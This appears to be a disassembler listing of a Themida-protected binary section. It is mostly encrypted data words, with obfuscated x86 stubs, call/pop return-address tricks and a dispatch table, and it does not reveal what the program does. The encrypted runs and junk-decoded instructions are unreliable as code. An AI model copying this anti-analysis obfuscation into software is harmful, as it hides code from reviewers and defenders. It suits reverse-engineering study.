		dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh,	0FAD89F1Ch
		dd 317613A8h, 1BF492A2h, 3821C3FBh, 23497398h, 0AAC4D62Fh
		dd 0D7D1AECDh, 2F4EE326h, 0F3D09ED6h, 0F4198BDBh, 0BAB01F54h
		dd 4503DE7h, 0F64F9447h, 0FE5229A6h, 97001442h,	0B881BF85h
		dd 8A5BCD8Ch, 0BCC33901h, 2C092335h, 7DBA01Dh, 0E771442h
		dd 1206BDAEh, 3E975073h, 0A62CD3AAh, 7A9E05Bh, 0D2000000h
		dd 1CB9Eh, 20922D00h, 27EB10B2h, 0F2EBFD85h, 1442B50Eh
		dd 57A70788h, 0C27DFFE5h, 8C9E471Ah, 0F6BE31AEh, 8BF413A8h
		dd 0A1C09D3Bh, 0F1D54E2h, 0A0F049A3h, 813AC13Eh, 0C18913A8h
		dd 3918CCE3h, 6AF65FB0h, 9F3A7290h, 78556B8Dh, 3E512860h
		dd 20BE2070h, 1D162846h, 144C5947h, 6158AC15h, 8A623192h
		dd 67CC44Ah, 91690000h,	0ECC5DB6Fh, 462238CCh, 0A382982Ch
		dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h,	17ABC19Fh
		dd 780C2401h, 0E39815C5h, 6F13A8FBh, 79569B2Ah,	7E5B2961h
		dd 27F02E66h, 0B23007Fh, 27DC59BBh, 781442A0h, 0B04B839Bh
		dd 0CAEAC35Fh, 8C9EF792h, 116C936Ah, 0E69E05Ch,	89000000h
		dd 0BDF50FEBh, 9E3B1022h, 0FCh,	0A083772Dh, 820D1442h
		dd 39B9F625h, 0A2FB8589h, 99D2D552h, 2FA113A8h,	41DA3F83h
		dd 4E3F581h, 6CE94B9Bh,	13A8F797h, 0EAC8DA43h, 7576F4Ch
		dd 29D30695h, 9FB1725Fh, 3F8A677Dh, 0D8B14263h,	0E08A842Eh
		dd 5BB44F87h, 19F39123h, 0C9C6E9FBh, 421895E5h,	10144C91h
		dd 4A7053A7h, 4F8F6232h, 5ADC9h, 3E603800h, 9BBB94AAh
		dd 0FB15F107h, 5E725167h, 0BDD9B4CAh, 0B1AA5029h, 1026BAD6h
		dd 6E841836h, 0D0E67A90h, 9447DBF3h, 0FB9067E4h, 0F93E13A8h
		dd 6179566Ah, 6F7E5B29h, 0A2DAF6D1h, 0A0E79C07h, 5E381442h
		dd 1C6D0840h, 0E4225AB3h, 17F46B1Bh, 13DAFFFh, 6F074A1h
		dd 0CDA4C6D8h, 0E05B5932h, 0CFEBC664h, 71EBDh, 9E470000h
		dd 28h,	7520922Dh, 0F699AE00h, 0ECC9E3F5h, 980A9CD4h, 26425819h
		dd 7E98AA15h, 0ED5189A1h, 6C493470h, 29F2C054h,	81000000h
		dd 11617956h, 193711AFh, 24DB46E1h, 0B21442A0h,	0A02ED552h
		dd 43AC1442h, 6512D8EAh, 1442A09Bh, 0EE51153Eh,	9465F911h
		dd 29617956h, 21713D52h, 0A8F2DBA4h, 0BE0E7713h, 9E2A4420h
		dd 0D26DA5C5h, 6744E2C0h, 8661FF4Fh, 2036586Ah,	1CF32B43h
		dd 89EB3B73h, 0A8F2770Ch, 0B1CDA813h, 7E5F760h,	3A7633A5h
		dd 53B3CDA9h, 16285582h, 4273ED1Dh, 760F7F14h, 68438DF5h
		dd 81E8D556h, 0CDA99221h, 121F918Ch, 0A7F750B8h, 9644552Ah
		dd 3F98011Bh, 5C7451EFh, 0C6D5B2C8h, 9644B249h,	0A884201Bh
		dd 0A4DC358Eh, 9CECC2CDh, 7253811Fh, 5932D01Ch,	0F26F0139h
		dd 3FA5C0Dh, 0F50760C9h, 7459AD16h, 9F5A479Bh, 44CD95Fh
		dd 0C1990000h, 1CF50B9Fh, 765268FCh, 0D3B2C85Ch, 3A152BBFh
		dd 4BB18A1Eh, 871B3712h, 0E5799771h, 47DBF1CFh,	0A83C5431h
		dd 33C845F5h, 9F13A8FDh, 7956CB5Ah, 55F3CD61h, 304A5C7Ch
		dd 35033B53h, 0CA084058h, 0FDDA4501h, 62BBD7B2h, 1108F7CEh
		dd 49CDE05Ch, 0F6000000h, 1C6C424Dh, 0A6EF3B9Fh, 7CF95913h
		dd 13A6F087h, 8176F353h, 4D13A6F0h, 21FF8BE4h, 0DF38D30Bh
		dd 0FD13F18Fh, 0F0897469h, 0D84A13A6h, 0EF309287h, 233D4F2Dh
		dd 849A2E46h, 0A24090A6h, 0DC77AFC3h, 0AF7E04CAh, 0D000003h
		dd 1C6C424Dh, 0A6861D9Fh, 92CA3313h, 7FCFE7C4h,	0B4EC04E1h
		dd 0DD410719h, 5F302460h, 3882FF4Fh, 171442A1h,	71839D79h
		dd 0BB952992h, 0F22A3E1Dh, 0D42D4924h, 0BEF09FC2h, 0C8CFF16Eh
		dd 1C851C6Eh, 73F052E4h, 3EED48Ch, 0BAD0AE4Ah, 7C8EE782h
		dd 5E388762h, 0E16D0840h, 5991EA06h, 9B9BCBA2h,	0ED6ABAF4h
		dd 40AF2D3h, 0EF07E482h, 0ACFC958Fh, 0B7C97871h, 0C5DB6FD8h
		dd 0E280D0E8h, 19B4EC06h, 96734107h, 0AE10EA7Eh, 0D2EC4A31h
		dd 0D4F4CD0Bh, 14B0019Ch, 48E31B3Bh, 0D5BADDEFh, 820C89D9h
		dd 0D00C36FFh, 9E791767h, 0FDAA7082h, 3336C002h, 649CBC95h
		dd 0C0AE55D2h, 0C32C3336h, 0A425A37h, 94004CBh,	0A7B874ADh
		dd 66BE17DDh, 926D1155h, 43B8E766h, 35h, 6C424D6Ch, 1767AA1Ch
		dd 5C73F4B4h, 39EF6C4Ah, 0F713A6BCh, 0C6A03E8Eh, 0C3A270A8h
		dd 83DC77AFh, 7DFEAB71h, 0CA13A6BEh, 2ED18DB9h,	0A7D877F3h
		dd 0F9h, 617956D0h, 31805B29h, 0AAE23B55h, 0AFE7FFDCh
		dd 9CEC04E1h, 0F3D225FEh, 0B34E86DFh, 7A57FA1h,	0EA04E029h
		dd 6EBE5991h, 42A00AF1h, 4D5FC814h, 42A44054h, 0E2FAD714h
		dd 0FF17F492h, 0D8B5CBEDh, 0DEB188C0h, 9E280D0h, 8A16B1E9h
		dd 0C45F97ABh, 4957D4B2h, 1713A6ABh, 50889C7Bh,	0B4BA41BEh
		dd 0AF1813A6h, 0FADFD56h, 50E21A32h, 0A6B42CD3h, 0E841AA13h
		dd 0FA95B4D6h, 0E8C664B4h, 65E2C0D2h, 14405ECDh, 0FB17F290h
		dd 371628C3h, 5E07ECEh,	643F55E9h, 3A153C15h, 9B6A5D68h
		dd 0F893CB24h, 0C58C4B9Fh, 5B9B6235h, 1F5D5h, 0F618F000h
		dd 53734C62h, 0B3CDA9BFh, 162A091Fh, 75916C82h,	69E208E1h
		dd 0C8DE728Eh, 263CD0EEh, 889E3248h, 4CFF93ABh,	0FF581F9Ch
		dd 0B1F613A8h, 5F7B5622h, 377FF1CBh, 571A2E50h,	154D6743h
		dd 0F50F217Ah, 0D7F1CD18h, 17AB049Fh, 6C424D46h, 8AA07E1Ch
		dd 571D9A78h, 2513A6A9h, 0EFCE6CBCh, 0F608A3DBh, 21009E30h
		dd 7902FB0Dh, 9A13A6A9h, 0A06EA6BCh, 0BD74ACC2h, 9AF2BEE6h
		dd 2C9EDD89h, 5823731h,	0A27D09FDh, 0A1B34E86h,	781139C6h
		dd 979ED8h, 56C70000h, 0D8605A79h, 1E3B040Dh, 0FBAA51CEh
		dd 0BF281442h, 85602E66h, 9D7B1969h, 0A2B44F87h, 0FFA72FDCh
		dd 0D5B21442h, 361329BDh, 800FE61Eh, 7361DE2Eh,	2113A6CEh
		dd 8A0524B8h, 5C57D424h, 23144029h, 5890A885h, 63CCABBDh
		dd 7E9A7513h, 0DDF9D4EAh, 35415889h, 1DA3E362h,	102h, 55E90BE3h
		dd 0B246663Fh, 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh
		dd 0E1BBD165h, 3B192FC3h, 9E7B9125h, 8F3FF286h,	0A8C06D12h
		dd 15A4E913h, 0CB5F7B56h, 2CC0D8B5h, 6A79565Bh,	42A016EDh
		dd 25BC414h, 1F3714B2h,	743A4CE7h, 1DB1C9A6h, 0CD1D91FEh
		dd 0F78C096Bh, 631442A0h, 7AD3E9C7h, 0E8FA10EEh, 0A8F187EFh
		dd 0D2B14D13h, 5FEB86BEh, 97326A82h, 5B38063Eh,	0E41C3210h
		dd 0C9223816h, 0F47613Dh, 71871B74h, 0BA2C7C94h, 1FB02A43h
		dd 7E1F7F5Dh, 8375B518h, 5A07CDDFh, 19FC16CDh, 2E66845Eh
		dd 346C8260h, 39792DF6h, 0E0BB5917h, 65F18CC4h,	9B366E8Ah
		dd 0C5B8EC89h, 71C49DE8h, 0CB247D93h, 2C442137h, 6FD7ADCh
		dd 99067D99h, 0EA53A4BCh, 654412D8h, 8B621951h,	6F8764DBh
		dd 37A1AD1Fh, 74D4EAC8h, 1F31CD49h, 0F20AE7FDh,	0C34BAh
		dd 8DC30000h, 61ACC335h, 2253CC2Bh, 7E563B10h, 7956245Ch
		dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh
		dd 94703E76h, 9B74427Ah, 68EE437Bh, 7C49h
; ---------------------------------------------------------------------------
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		push	0C0F578Eh
		pop	edx
		or	edx, 4D0E6DDBh
		sub	edx, 7C511715h
		add	edx, 372BE9F9h
		push	edx
		pop	edi
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		mov	edx, 8
		add	edx, esi
		mov	[edx], edi
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 3FDCC686h, 0B8EF3D06h, 7EA61B4h, 0E0FFC503h,	2D9D6C5Dh
		dd 7D36E5Eh, 2D188211h,	5241AA66h, 2342982h, 5B5DD9A6h
		dd 69FFEF84h, 3D0C084Dh, 3EBCDCDCh, 7C7CA1ECh, 4610B6CBh
		dd 1C2ABA00h, 45321E27h, 40BBBBF5h, 505C857Dh, 4021E575h
		dd 4E8392EAh, 7EA14CFBh, 62F76F25h, 52B71F9h, 1C1D21A5h
; ---------------------------------------------------------------------------


loc_5E8724:				; DATA XREF: Themida_:00584110o
		lea	ecx, [ebp+7EA6344h]
		push	0
		push	ebx
		call	sub_5E8735
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E8735	proc near		; CODE XREF: Themida_:005E872Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5E8735	endp

; ---------------------------------------------------------------------------
		xchg	eax, edi
		xchg	ecx, [ebx-1BFBAA43h]
		pop	es
		mov	[ebp+7E41B71h],	ecx
		sbb	dl, 0Bh
		mov	dword ptr [ebp+7E42DA1h], 6FE0h
		push	0
		push	edi
		call	sub_5E876B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E876B	proc near		; CODE XREF: Themida_:005E8763p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5E876B	endp

; ---------------------------------------------------------------------------
		clc
		sub	ecx, [ecx-1BE3BA6Bh]
		pop	es
		mov	dword ptr [ebp+7E422B9h], 0
		or	[ebp+7E41C85h],	eax
		xor	[ebp+7E41B1Dh],	eax
		push	dword ptr [ebp+7E406A5h]
		cld
		call	dword ptr [ebp+7E43061h]
		push	0
		push	ebp
		call	sub_5E87B1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E87B1	proc near		; CODE XREF: Themida_:005E87A9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5E87B1	endp

; ---------------------------------------------------------------------------
		fadd	dword ptr [ebp+3DF8319Dh]
		popa
		push	0
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5E8811
; ---------------------------------------------------------------------------
		dd 0E82D3F89h, 9F7580E0h, 0A3636582h, 1309F69Eh, 0FF5BAE04h
		dd 19828B35h, 7E2B44ADh, 351AD7C3h, 0D42E3438h,	32BF8A0Ah
		dd 162904E4h, 0EDE97309h, 0DCA483ACh, 0EF5BFE15h, 9585A06Bh
		db 0BEh
; ---------------------------------------------------------------------------


loc_5E8811:				; CODE XREF: Themida_:005E87D2j
		jmp	loc_5E8994
; ---------------------------------------------------------------------------
		cmpsd
		mov	edx, 2C2717E7h
		aad	1Ah
		rcr	dword ptr [eax-2E28B94Fh], cl
		retf	0EFB4h
; ---------------------------------------------------------------------------
		db 41h
		dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h,	0E495BCD7h
		dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h
		dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h
		dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch
		dd 0ACE5h, 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h
; ---------------------------------------------------------------------------


loc_5E8994:				; CODE XREF: Themida_:loc_5E8811j
		jmp	loc_5E9A29
; ---------------------------------------------------------------------------
		push	7EA6710h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA6823h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA69E9h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA6AADh
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA6BCDh
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA6C90h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA6D66h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA6DE9h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA6EF6h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA6F73h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA7051h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA7106h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA71C4h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA72E2h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7EA73E1h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		db 7Dh
		dd 33487BDDh, 0E8FD3026h, 98ADE06Ch, 4C6194C0h,	0DC104307h
		dd 65E56EFFh, 183A1D32h, 0CA86D0E5h, 7BD38297h,	9679E348h
		dd 23FFF366h, 0D9AEAF63h, 9B8ED27Ch, 0ED61F4BAh, 476971A4h
		dd 3B1A014Bh, 8568E213h, 23F9A342h, 0B29EB865h,	2362569h
		dd 6A23F9A2h, 3B6B4E96h, 4023F9A2h, 86C90233h, 5E8C82DAh
		dd 66A95Ah, 65AD0000h, 0F9AA5282h, 194A5723h, 0C8C0E69Ah
		dd 54F367Eh, 1BBDB57Ch,	559E037Dh, 81D5BE11h, 8A899ECFh
		dd 2523FA42h, 72E7CE18h, 1C4DA0E4h, 3185B9A8h, 4D0823FAh
		dd 185CF661h, 45387CC5h, 2C5C3F12h, 3123FA32h, 0A497DB24h
		dd 7D249EB2h, 0A1D1B4D2h, 9E23FA31h, 0B1444891h, 0EAC29Eh
		dd 0ED915A5Eh, 90000000h, 0EED17CD9h, 1C158EBEh, 2165AEBBh
		dd 0DB25252Eh, 0DBEF63F4h, 0D1798D93h, 5DD10224h, 51342209h
		dd 0A12D0A27h, 0E529727Ch, 0A6B0A992h, 0C5DE0F62h, 267ABE90h
		dd 0F73B193Fh, 0B4FD5104h, 92C389CBh, 3F72DC79h, 15EACC2Eh
		dd 48064F1Ch, 0F9550015h, 0B1B9CFB5h, 0F6C98467h, 0D1DE23F9h
		dd 2C5C3F87h, 3123F9D6h, 8890F324h, 0D8206A66h,	6E964F1h
		dd 23F9D5D6h, 4C7DC6D3h, 0E0BFF337h, 61ABB82Bh,	2771D97Ah
		dd 0BE9A1640h, 0B91C4D96h, 0A99BAFA4h, 0C2A744F4h, 0E77F7CA0h
		dd 0E900000Dh, 9FB4E771h, 54699CBAh, 4194C00h, 0B8CD0054h
		dd 487CAF9Bh, 0D179DA63h, 84CE899Eh, 361A3C51h,	0E767EE03h
		dd 2E54FB4h, 23FFF5D2h,	0D92223D7h, 2925307Ah, 0A4AF96E0h
		dd 6F4462A6h, 0D3F965E0h, 0BD20519Ah, 6EA1ADA8h, 0A4411F8h
		dd 0C34273C6h, 1D4D3078h, 221C158Fh, 0B6D8E415h, 412870BAh
		dd 0A1F43812h, 985C5B70h, 4A5C23F9h, 371C7C36h,	0DD5468C8h
		dd 44FFB3ABh, 0CBD86FA0h, 0FD649887h, 39CC23F9h, 0CC124A16h
		dd 0CF195A5Eh, 1D000000h, 0ED312136h, 0D9EA699Ah, 9B8ED27Ch
		dd 5F4E92B8h, 1C1593FDh, 8FD975E0h, 93346447h, 2B391C15h
		dd 15931848h, 0BF08151Ch, 3F162B8Eh, 34775E44h,	0A0E94D28h
		dd 0E6F6085Ch, 0DA0A6C13h, 0F80E1A4Bh, 165EA6F0h, 16820333h
		dd 0B1FB081Ch, 16819ECEh, 5D8E9B1Ch, 0FA968D48h, 0E2152223h
		dd 7FD1856Ch, 0ABB7E83Bh, 60438D85h, 2BE15D0Bh,	260D5764h
		dd 0D5EA1D2Dh, 0B9DACC7Eh, 0DBC2A7F1h, 0CD4BAB7h, 5EFC0000h
		dd 0A7B2C7FAh, 0ED677CAFh, 41172C5Fh, 88CBE013h, 705B8FC2h
		dd 0B1E466EDh, 6497BB9Ch, 1649074Fh, 0C7FA5401h, 0E515F862h
		dd 0EA23FFF6h, 91783536h, 0F3468AC4h, 0A0AAA9C2h, 67E56F56h
		dd 6EE7D023h, 18499CE0h, 99B5A0B5h, 7CD9EB66h, 5D4088D2h
		dd 1C158F2Dh, 11412432h, 0E1C158Fh, 87CFB801h, 13285C9h
		dd 93BB9A8Dh, 0EE1E0149h, 0EB1C158Eh, 424AADDEh, 0F7DA242Ch
		dd 23F9AED8h, 9382C6D3h, 23F9AE5Fh, 6D1B34C7h, 3F83D386h
		dd 4B23BBECh, 0F05A5E83h, 64h, 0C8C0E6EFh, 0BA649B7Eh
		dd 394723F9h, 0F9BA2656h, 0CD162323h, 0B9669A89h, 6AE923F9h
		dd 0ACA99CE0h, 33DA5EA2h, 0D86B6F1Ch, 0B4B3EB77h, 31B85A5Eh
		dd 0B7000000h, 7EC8C0E6h, 0F9948C9Bh, 75E28F23h, 615094DDh
		dd 23F9952Dh, 214D0295h, 5A5EA549h, 15EEh, 7E0F200h, 0A90E0DCEh
		dd 66AAA8AFh, 1A99CA13h, 8CECFh, 0C0E6D400h, 6C9C7FC7h
		dd 711C158Eh, 8F4F7F64h, 3F4C1C15h, 0F79AACF6h,	7FCB889Eh
		dd 62D4E83Bh, 88023303h, 9C71A5h, 1F697624h, 4D301D38h
		dd 24005B1Dh, 2011522h,	24D5882Fh, 8C73BD06h, 0EE4185C9h
		dd 10455ABDh, 1E2A5A3Dh, 222F2400h, 7E7D8FD9h, 3E19D43Fh
		dd 5D8D70BAh, 62240025h, 5CB02455h, 3C6DDF75h, 0C8121E30h
		dd 0EA8940E5h, 0D8222F2Bh, 0A0EA64F1h, 0B83858Eh, 3680A55Fh
		dd 159B2353h, 0EA1B281Ch, 6BE37287h, 0DE6A0F21h, 0C3074D0Bh
		dd 0A40B5C70h, 41279BCCh, 7DD3832Fh, 0BBA2EA34h, 1D71B59Bh
		dd 161A0A3Ah, 0B9020F1Ch, 321C7388h, 828F23FAh,	0C5571990h
		dd 4A476BBAh, 0B0Eh, 8DC098C2h,	4275E178h, 0F225272Dh
		dd 0A6D97BDDh, 5588C291h, 0A0B3BA21h, 0F56277AAh, 41152A5Dh
		dd 8EC7DC0Fh, 0BE288DC0h, 0FFF7ABDBh, 0FBFCB023h, 158FA9DDh
		dd 1B17391Ch, 0F3AAEED1h, 0C40C23FFh, 0FFF0B1E1h, 0BDA0AE23h
		dd 23FFF08Dh, 0B3C8592h, 2C346774h, 0DDC40E1Ah,	67EED779h
		dd 1F50A3E7h, 5486C2A5h, 0E1B2BEAh, 0D678DDC4h,	86A17A8Ch
		dd 78DCC727h, 0DB2E72DEh, 0E9FE6192h, 0B89EE26Ch, 3E509A96h
		dd 39B449DEh, 2FA9DA27h, 0AF4Ch, 59A3B024h, 8ECBE372h
		dd 0E83184C8h, 99B5A0B5h, 0FC346655h, 0A2C4A3FFh, 4A795CA6h
		dd 45ABE41Fh, 0DE6C686Dh, 0BE07D856h, 9B7E73CCh, 0B8B5D942h
		dd 0A4Ah, 5184D486h, 6391D3Ch, 0B6E963F1h, 6A9DB7A1h, 194CFE55h
		dd 0DC77C6E5h, 31263B6Eh, 7DD9EE21h, 0CA8BA0D3h, 82EC5184h
		dd 0FFF86F9Fh, 0B7B86C23h, 7EC8C0E6h, 0FFF2579Bh, 0C98F3C23h
		dd 43224DC0h, 549D7EFCh, 7CDAC10Bh, 0C3D90D4h, 2D384A92h
		dd 0E597239Eh, 6B9B7EC8h, 7024005Ah, 3C193263h,	8BCADF12h
		dd 77997FC3h, 164E317Bh, 932BEABFh, 0FF553C86h,	85B6094Dh
		dd 1D31240Bh, 0CE80D5EAh, 8682A48Ah, 0A1E4593Ch, 0BDCB2400h
		dd 5AAADAh, 59A2AF24h, 212D280Fh, 0D27CD9EEh, 98B3A188h
		dd 5A85B5h, 347D8A24h, 6CA08F03h, 0FC24005Ah, 4C94DEEAh
		dd 5B3969h, 0B0A4B424h,	910B3C49h, 0EABE2EAEh, 94DEEB2Bh
		dd 73A6A8ADh, 1357F75Eh, 0D3441B2Dh, 183BB910h,	7FAF92DCh
		dd 7C1C15BFh, 0F9DC266Fh, 240023BDh, 411345F2h,	96C6A9FDh
		dd 9323FFE0h, 0B0F43D86h, 62ACA4CAh, 0E3E3447Fh, 0D472842Bh
		dd 0D2353AD0h, 101EB5E6h, 2407FD2Dh, 0ACF5021Ch, 9B777BBAh
		dd 0C4C1E5C2h, 92Ah, 71A4B4A6h,	2659FD5Ch, 0D6094311h
		dd 8ABD97C1h, 396CDE75h, 0BC97A605h, 11465B8Eh,	5DF90E41h
		dd 0AAABC0F3h, 0A20C71A4h, 0FFF98FBFh, 0D7D88C23h, 8ED27CD9h
		dd 4A94BA9Bh, 0C107CB38h, 1945C14Fh, 0A7CEF7Eh,	0AF23549Dh
		dd 0CD1A357Ah, 0FF93C688h, 5DBABEAFh, 84E0BF2h,	1137D7h
		dd 78360000h, 9F88C291h, 5397B5h, 4FBACCFh, 42B10000h
		dd 4313FA61h, 4576C90Dh, 0D11B1739h, 0A1E56DEAh, 0C0A31D4Eh
		dd 23F9BAB9h, 68F36976h, 0F7058C8Ah, 650586Eh, 0E9AD3023h
		dd 0E22633F8h, 94DEEAFCh, 91B24B1h, 84CEDBF7h, 0B295B89Dh
		dd 0F101FA82h, 0FE317A87h, 0F0E26CE9h, 0EDBD845Bh, 67080529h
		dd 69000008h, 1F3467F1h, 0D4E91C3Ah, 8499CC80h,	384D80D4h
		dd 0C8FC2F1Bh, 51F95AE3h, 44E091Eh, 0B69ABCD1h,	67E76E83h
		dd 8265CF34h, 23FFFB52h, 0D9A2A357h, 22D6077Ch,	863B753Ch
		dd 0ED367FCFh, 2A0D55A9h, 1C1620FAh, 0A8C1F2FFh, 6E559FABh
		dd 568669EAh, 531C1621h, 65B9FD46h, 16215282h, 14A571Ch
		dd 43656DD0h, 0CEB5FD47h, 0B7E7CA8Bh, 0B41C1620h, 0C71A5EA7h
		dd 85138196h, 7E8C2400h, 7F6B9Bh, 0AD987024h, 0C9EF2350h
		dd 549EE730h, 3366E86Dh, 0D317371Eh, 0C8BF987Fh, 66C4FDCEh
		dd 0AAEE37E2h, 67B09EB7h, 0C042A36h, 0D379DBC2h, 0D4528A2h
		dd 0A22BEA3Bh, 0F1644B95h, 40152A5Dh, 0B9FA2A0Dh, 0F2FF1C15h
		dd 0E17265A9h, 0C5CA7769h, 92B6C2A9h, 79195h, 3D1B3F00h
		dd 0F264F50Ah, 0A2AAAABFh, 56FE5A6Fh, 5450E23h,	303D9ED2h
		dd 0DFF42723h, 92A7DA78h, 44598CC4h, 0A50A3D11h, 0FC28583Bh
		dd 712523FFh, 0C2917870h, 0C0F14488h, 4C9692B4h, 0FFF33169h
		dd 27717E23h, 6391540h,	0A4A64F1h, 61B5F942h, 2E263219h
		dd 82B297EAh, 8723FFF1h, 2B3D497Ah, 68EED51Fh, 0F7400C48h
		dd 1D044CC6h, 7ED11537h, 0DD9384Dh, 0C9D62BE4h,	9B7880D7h
		dd 7B789CC2h, 70Eh, 8DC098C2h, 4275E178h, 0F225272Dh, 0A6D97BDDh
		dd 5588C291h, 0A0B3BA21h, 0F56277AAh, 41152A5Dh, 8EC7DC0Fh
		dd 0BE288DC0h, 0FFFBABDBh, 0FBFCB023h, 88D27CD9h, 6798B2A1h
		dd 0F95500F3h, 143B80B5h, 1B4B2E76h, 731C158Fh,	21BC5E56h
		dd 7E8BF2AFh, 2D21344Dh, 193666FAh, 745B5DBAh, 9F3F70E4h
		dd 11h,	1397BCA3h, 77CA0E44h, 0CF7EFD2Eh, 2D9h,	0D27CD9D4h
		dd 9CB6A188h, 7FB0A6B3h, 703250Bh, 629275BDh, 671C158Eh
		dd 0CCAF295Ah, 23FFF394h, 0DBC20C19h, 3F92D67Ch, 4E35AB0Eh
		dd 1E014B0Bh, 23FFF2EEh, 94ADDEEBh, 6AE7C2C1h, 555E04EDh
		dd 7ED5C80Ch, 7F9199CCh, 0D1707BA8h, 98A4DBAEh,	189EE92h
		dd 543781CAh, 24003924h, 89D31C29h, 0EA9C4DA6h,	0E175222Bh
		dd 8FD82B6Fh, 0EEC3345h, 91CEC0E2h, 56FFE660h, 0A5B0C5F8h
		dd 0E17265A9h, 293F2569h, 41F4D721h, 4623FA91h,	0F4264739h
		dd 0CEF2BAC4h, 601D1h, 0CD8BCF00h, 82D4859Ah, 321A3A4Fh
		dd 0E66EEAFFh, 95B59EB3h, 0C08D2E62h, 6F84B793h, 22376AE8h
		dd 0D4E91C34h, 359ACD81h, 0FCB8E8CBh, 1B523FFh,	327CD900h
		dd 94E72B23h, 0F5EF014Bh, 19FD5B87h, 6F96D9Eh, 0EB1BFE4Fh
		dd 0F01C1641h, 41CFFFE2h, 0BFCC1C16h, 0B4E92D76h, 5203E06Fh
		dd 6535C9FCh, 25DBA2Ch,	7, 169CF01h, 0D9D40000h, 83E0D27Ch
		dd 81C2A9F0h, 584605Dh,	0E4C0000h, 5702174Ah, 9DB7CCFFh
		dd 0F1677CAFh, 381B3063h, 0ABDF12h, 134163Dh, 0B4E76BECh
		dd 6699B79Fh, 174A0451h, 356548B2h, 3A23FFFEh, 7CD98586h
		dd 0BA9B8ED2h, 0F85D5094h, 391F1256h, 32CDD71Bh, 45701Dh
		dd 8BC3924Fh, 50F95A41h, 158F3D6Dh, 0EC35421Ch,	0EB6C55A8h
		dd 9FD02367h, 9FF0A83Ch, 1C775DBAh, 7B000000h, 97205033h
		dd 101D1C15h, 0DD212F27h, 0CFDA598Ah, 0DBh, 0D5CFD4h, 0E6D40000h
		dd 0B4E4C7C0h, 0B91C158Eh, 8E98C8ABh, 88951C15h, 9AACF63Fh
		dd 0FD9C2D36h, 2512534Ah, 0D1D580F8h, 95DD5788h, 76A7A7AEh
		dd 0F22961h, 80D98624h,	63498DD6h, 0B3FB454Dh, 97C88CCCh
		dd 0E43F1B82h, 719BAD2Bh, 2291D770h, 6D7A1142h,	9B677E7Bh
		dd 0C1BEE2C2h, 4A6h, 0F528302Ah, 0AADD79E0h, 5A8DBF95h
		dd 0E411345h, 0BDF05AF9h, 381B2289h, 8DCADF12h,	0D97D92C5h
		dd 262F4477h, 2690F528h, 0FFFF1343h, 63641823h,	7EC8C0E6h
		dd 0F9DE4E9Bh, 60435123h, 23F9DE30h, 8DD7202Dh,	58FEAEA6h
		dd 1861B4F8h, 0DDA1D4E5h, 7BC323F9h, 0F9DD6898h, 27586523h
		dd 2306470Eh, 23F9DDF3h, 58A2EBF8h, 0E87BE246h,	316239B1h
		dd 0B19BB9CEh, 42C706Dh, 0E6750000h, 9B7EC8C0h,	23FFF363h
		dd 67095365h, 4EB90DFFh, 3579861Dh, 0E731394Fh,	0E4379D04h
		dd 0E482F2Bh, 73E0FE42h, 0BE565935h, 0F68DBE07h, 0DB18F7E9h
		dd 4064C29Bh, 3F143h, 0DD7BDF00h, 92C495AAh, 420A4A5Fh
		dd 0F65EFA0Fh, 0A5A5AEC3h, 0D09D3E72h, 7F94C783h, 32477AD8h
		dd 0E4F92C24h, 45AADD71h, 0FFC8F8DBh, 11C523FFh, 0FDC0E610h
		dd 3E48D0C2h, 4C96DF5Bh, 0E63569h, 0E32D3A24h, 0C2F559FCh
		dd 0A44C3A4Ch, 9788C642h, 46084D66h, 0FD0A1C02h, 0FFB4EA1Ah
